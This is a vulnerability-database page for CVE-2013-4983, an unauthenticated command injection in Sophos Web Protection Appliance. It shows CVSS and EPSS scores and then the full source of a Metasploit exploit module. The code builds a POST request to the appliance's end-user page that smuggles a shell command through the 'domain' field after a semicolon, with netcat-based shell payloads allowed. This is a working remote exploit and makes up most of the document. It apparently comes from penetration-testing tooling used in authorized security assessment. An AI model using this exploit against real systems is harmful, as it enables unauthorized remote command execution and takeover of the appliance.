CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
EPSS
Percentile
99.4%
This module exploits a command injection vulnerability on Sophos Web Protection Appliance 3.7.9, 3.8.0 and 3.8.1. The vulnerability exists on the sblistpack component, reachable from the web interface without authentication. This module has been tested successfully on Sophos Virtual Web Appliance 3.7.0.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Sophos Web Protection Appliance sblistpack Arbitrary Command Execution',
'Description' => %q{
This module exploits a command injection vulnerability on Sophos Web Protection Appliance
3.7.9, 3.8.0 and 3.8.1. The vulnerability exists on the sblistpack component, reachable
from the web interface without authentication. This module has been tested successfully
on Sophos Virtual Web Appliance 3.7.0.
},
'Author' =>
[
'Francisco Falcon', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-4983' ],
[ 'OSVDB', '97029' ],
[ 'BID', '62263'],
[ 'EDB', '28175'],
[ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities']
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => "\x27\x22\x5c",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat-e' # Because quotes and double-quotes aren't valid
}
},
'Targets' =>
[
[ 'Sophos Web Protection Appliance 3.7.0', { }]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => '2013-09-06'
))
register_options(
[
Opt::RPORT(443)
],
self.class
)
end
def check
url = "http://www.#{rand_text_alpha(10 + rand(10))}.com"
domain = "http://#{rand_text_alpha(10 + rand(10))}.com"
res = send_exploit_query(url, domain)
if res and res.code == 302 and res.headers.include?('Location') and res.headers['Location'] =~ /#{url}/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
print_status("#{rhost}:#{rport} - Executing payload...")
url = "http://www.#{rand_text_alpha(10 + rand(10))}.com"
domain = "http://#{rand_text_alpha(10 + rand(10))}.com;#{payload.encoded}"
# very short timeout because the request may never return if we're
# sending a socket payload
send_exploit_query(url, domain, 0.01)
end
def send_exploit_query(url, domain, timeout = 20)
user = rand_text_alpha(8 + rand(5))
res = send_request_cgi({
'uri' => normalize_uri('end-user', 'index.php'),
'method' => 'POST',
'vars_get' => {
'c' =>'blocked',
'action' => 'continue'
},
'vars_post' => {
'url' => "#{Rex::Text.encode_base64(url)}",
'args_reason' => rand_text_alpha(15 + rand(5)),
'filetype' => rand_text_alpha(15 + rand(5)),
'user' => user,
'user_encoded' => "#{Rex::Text.encode_base64(user)}",
'domain' => domain,
'raw_category_id' => "#{rand_text_alpha(4 + rand(8))}|#{rand_text_alpha(4 + rand(8))}"
}
}, timeout)
return res
end
end